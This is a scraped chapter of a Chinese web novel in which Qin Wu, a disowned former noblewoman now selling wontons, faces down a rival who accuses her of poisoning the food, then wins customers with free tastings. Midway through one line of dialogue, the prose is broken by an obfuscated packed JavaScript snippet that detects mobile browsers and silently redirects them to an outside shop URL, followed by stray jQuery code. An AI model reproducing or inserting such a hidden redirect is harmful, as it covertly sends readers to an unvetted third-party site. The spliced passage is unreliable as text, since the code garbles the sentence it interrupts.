文趣网 > 其他小说 > 秦娘子今天出摊了吗? > 2. 馄饨真难吃,又腥又臭
    沈云韶落在秦芜身上的视线不善。

    总算让她逮到机会报仇了。

    她和秦芜自小相识,因家世背景所差无几,年龄又相当,经常被人放在一起对比。

    彼此互有输赢。

    但三年前!

    想起三年前的事,沈云韶就恨得牙痒痒,世上怎么会有这么无耻的人。

    看不上自个未婚夫就抢别人的。

    萧景衡原是和她有婚约。

    秦芜不要脸,使狐媚招数勾引萧景衡,趁着长公主府的春宴,竟狠心舍了脸面,设计与萧景衡双双落水。在众目睽睽之下被他搂抱上岸,有了肌肤之亲。萧家乃翰林清流,最重规矩体面,萧景衡为了保全家族清誉,只能捏着鼻子退了沈家的亲事,八抬大轿将她娶进了门。

    害得她沦为全京的笑话,到现在都还没嫁人。

    思及此,她指尖攥得绢帕发皱。

    “小本生意,售出不退。”秦芜先她一步开口,语气平淡。

    “这么心虚?看来是真下毒了。”沈云韶轻嗤。

    “前面有家医馆,你如果有需要,我可以帮你跑个腿,请大夫过来。”

    这茬找的太明显了。

    唉。

    秦芜叹气。

    她能理解沈云韶针对她……原身那些事儿做的的确不地道。

    “你什么意思?”沈云韶蹙眉。

    秦芜指了指祁珏和祁青二人,“如果有毒,他们两位应当已经感受到不适了。”

    “又不是同一碗馄饨,他们明显是你找的托,你给他们下毒做什么。”

    秦芜:……

    顶着沈云韶恨恨的目光,秦芜走到沈云韶身侧,从她碗里夹了一个馄饨吃,“可以了吗?”

    “秦芜,你便是这般待客的?吃客人的馄饨?”早在秦芜靠近时,沈云韶面色就变了,眼看着秦芜靠近吃她碗里的馄饨,她起身退后。

    双颊不知是气还是羞,泛着些微红。

    “你不是怕我在馄饨里下毒吗?”秦芜无奈。

    “这碗我不要了,换一碗。”沈云韶把筷子往桌上一撂,别过脸去,又吩咐丫鬟,“她俩的也换,谁知道方才有没有溅上脏东西。”

    见秦芜没动,她又冷笑:“怎么,这就是你做生意的规矩?”说着便示意巧儿二人,“把这几碗倒了,免得留着祸害旁人。”

    两个丫鬟端起碗就要往路边倒,秦芜伸手拦了拦,指了指摊边的空木桶:“不吃倒这里吧。”

    三碗热馄饨,一口没动,平白糟蹋了。

    “倒桶里?好留给你再卖给别人?”沈云韶声音一扬,“倒了!”

    “且慢。”祁青皱着眉站起身,“好好的馄饨,倒了可惜。方才我看得清楚,小娘子用的是干净筷子,离另外两碗也远。”

    “你?”沈云韶斜睨他一眼,笑得轻蔑,“秦芜,你雇来的人倒还尽心。”

    “倒。”她不再废话,冷声吩咐。

    巧儿手一倾,三碗馄饨尽数倒进了雪地里。热汤遇上冻土,滋地腾起一小片白汽。

    沈云韶这才缓了神色,示意丫鬟又搁了块碎银在案上,语气带着几分施舍:“再煮三碗来。别觉得本小姐占你便宜。”

    秦芜看着那块碎银,心里那点不快霎时散了。有钱赚,比什么都强。

    “好。”

    她利落下锅煮馄饨,顺手从推车下层取了两小块烤年糕,放到祁珏桌上。年糕是她今早出门前烤的,本打算自己当晌午饭,权当谢方才二人出言相帮。

    片刻功夫,三碗新馄饨端上了桌。汤鲜馅足,热气裹着香气往人鼻子里钻。

    沈云韶心里早备好了挑刺的话,夹起一个咬了半口,话音却戛然而止。

    这馄饨……这么鲜?

    她下意识看向秦芜,眼里满是诧异。

    秦芜居然有这么好的厨艺?

    她还以为……还以为……一口馄饨吞下,她忍着想要把余下半个馄饨吃完的欲望,“这什么东西。”

    沈云韶“呸”了声。

    “你这馄饨煮熟了吗?还夹生呢,馅儿也又腥又臭。”

    说着,她一撂筷子,把那半个馄饨扔到了地上。

    这话一出,周遭议论声又起来了。

    “我就说嘛,哪有那么香的馄饨,指不定加了什么。”

    “亏我刚才还想试试。”

    “这姑娘看着体面,总不能说谎吧。”

    沈云韶听着周遭附和,嘴角微微上扬,看向秦芜的眼神更添了几分得意。

    “秦芜,你心怎么这么黑,为了赚钱什么事都做得出来。”

    抢了她未婚夫又如何。

    现在还不是被休了?

    不止被萧家赶出家门,还被秦家也赶出家门。

    只能任由她奚落。

    “姑娘这话,未免有失公允。”一道温润的男声响起。

    祁珏看向沈云韶,眉头微蹙。他本不愿多管闲事,可这般颠倒黑白,实在过分。这样鲜美的馄饨,竟被说成又腥又膻,那京中大半酒楼的饭菜,岂不是都入不了口。

    “馄饨滋味如何,旁人自有分辨。姑娘与这位小娘子有私怨,何苦拿吃食说事。”

    “你说我撒谎?”沈云韶脸色一沉,“若真好吃,我为何不吃?”

    祁珏语塞。他素来不善与人争执,一时竟接不上话。

    秦芜适时出声,:“既如此,我摆几个试吃的碗,诸位乡亲尝一口便知。一人一个,不要钱。”

    太多,赔不起。

    周遭静了片刻。十几号看热闹的人你看我我看你,都有些意动,又碍于那下毒的传言,不敢上前。推搡了半晌,才有四五个人磨磨蹭蹭走出来。

    张大勇就是其中一个。

    他是码头扛包的,本是歇晌路过,兜里揣着冷馍馍,正就着冷风啃。听见免费试吃,想着好歹是口热的,有肉总比干馍强,便壮着胆子走了过来。

    秦芜给每人舀了一个馄饨,浇上半勺热汤,撒了点葱花。碗不大,一口的量。

    “当真不要钱?”张大勇又确认了一遍,他一天扛包也就赚三四十文,可不敢平白欠人钱。

    “嗯。”

    张大勇咽了咽口水,端起碗,把馄饨送进嘴里。

    一口咬下去,鲜汁顺着嘴角往下淌。他愣了愣,忙抬手抹了把。哪里有什么腥膻味,鲜得他舌头都快吞下去了。去年在五品官员家做工,主人家赏过半只剩鸡,他都觉得是人间美味,可跟这馄饨比,竟差得远了。

    他几口吃完,连汤都喝干净了,咂了咂嘴,有点舍不得。家里婆娘和三个娃,还从没尝过这等好东西。

    秦芜注意到张大勇的神色,瞧着他面色变来变去,秦芜蹙眉。

    难不成——

    “小、小娘子……馄饨可以打包吗?”

    等秦芜点头,他咬牙道:“麻烦小娘子帮我打包两碗馄饨。”

    两碗馄饨便是十四文钱。

    他今天下午多扛一些包,让媳妇和孩子也尝一尝。

    这馄饨皮薄馅足,还都是肉。

    他知道,卖七文钱一碗,不贵。

    另外三人也吃完馄饨了,听到张大勇要两碗,忙道:“我也要一碗。”

    四个尝过秦芜馄饨的人里,只一人没买。

    “你们觉得这馄饨好吃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815391|211036||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吗?”

    秦芜没忘记最初因为什么争吵,问的是四人,看的却是沈云韶。

    四人的行为已经给出答案。

    不好吃,谁会花钱买?

    “她做的馄饨真有那么好吃?”

    “许老二,你给我们形容下那馄饨的味道呗。”

    “形容什么形容,忘了吗?能免费试吃。”

    “……”

    又一轮试吃后,秦芜剩的那些馄饨,很快卖完了。

    等她忙完,沈云韶不知什么时候已经走了。

    她们桌上的三个碗也干干净净。

    念着原身对沈云韶做的那些事儿,人家上门出出气,只要不挡她赚钱,都随她去。

    “今日多谢二位公子出言相助。”她转身走到祁珏桌前,就要把铜钱还给他们,“这顿算我请的。”

    祁珏抬手挡了挡,没有接:“举手之劳罢了。是小娘子手艺好,与我们无关。”

    秦芜思忖片刻,也没强求:“二位稍等。”

    案上还剩点皮子和馅,她快手包了二十来个,用油纸包好递过去:“一点心意,带回去煮了就能吃。”

    祁珏示意祁青收下,道了声谢,主仆二人便起身走了。

    日头偏西,寒风更劲。秦芜收拾好推车,往城门口走。

    被侯府赶出来没几日,亲生父母家就寻上了门。也是巧,侯府养父母姓秦,这亲生父母也姓秦,连她前世的名字都一般无二。秦家在城外洪村,是个没分家的大家庭,她爹秦三郎行三,上头两个哥哥,底下还有二儿二女。

    回家才几日,秦芜却也看得清爷奶的态度,偏心她大伯。

    至于她二伯和她爹,在他们眼里就是给家里耕地的老黄牛,好处分不到一点,麻烦的事都丢给他们哥俩。

    她二伯聪明,懂得藏私,她爹却是个愚孝的。

    侯府感念他们养育真千金十数年,给了他们一百两银子,然这些银子都被她奶给了她大伯。

    美名其曰,全家要齐心协力支持她大伯科考。

    四十多的人了,不过是个童生,能考个什么?

    “三姐,你回来了?”

    院门口,小妹秦珠正蹲着喂鸡,见她回来,抬头喊了一声。二伯家的堂弟秦兴和在一旁拌猪食,头也没抬。

    “娘给你留了饭,在灶上温着呢。”

    秦芜应了声,把推车靠在墙根,进屋吃饭。赵氏的手艺实在一般,菜里少油寡盐,也就红薯粥还能入口。她饿了一天,也顾不得挑拣,扒拉了两碗就回屋歇下了。

    从洪村到盛京,坐驴车要一个时辰。她这些天寅初就起,睡眠严重不足,头一沾枕就睡沉了。

    再醒来,天已经擦黑。

    外屋有人低声说话,隔着窗纸飘进来。

    “你说三姐真把馄饨都卖完了?”是二哥秦卓的声音。

    “小声点,她还睡着呢。”赵氏忧虑道:“我瞧她今早带出去那么多,别是怕我们担心,偷偷倒了吧。”

    “我就说不让她去,京里都传成什么样了。爹和奶也是糊涂,由着她瞎折腾。”

    “二哥,你怎么总跟三姐过不去?”秦珠小声反驳。

    秦卓哼了一声,没再说话。他哪里是跟她过不去,京里传的那些事,哪一件是好听的?这女人心术不正,别把一家子都带坏了。

    他得找个机会跟爹娘、大哥说清楚,别被她几句软话哄了去。

    “馄饨确实都卖了。”秦芜掀开门帘走出来,手里攥着鼓鼓囊囊的钱袋,往桌上一倒。

    “你们看。”

    铜钱滚了一桌,叮叮当当响。

    几人都愣住了。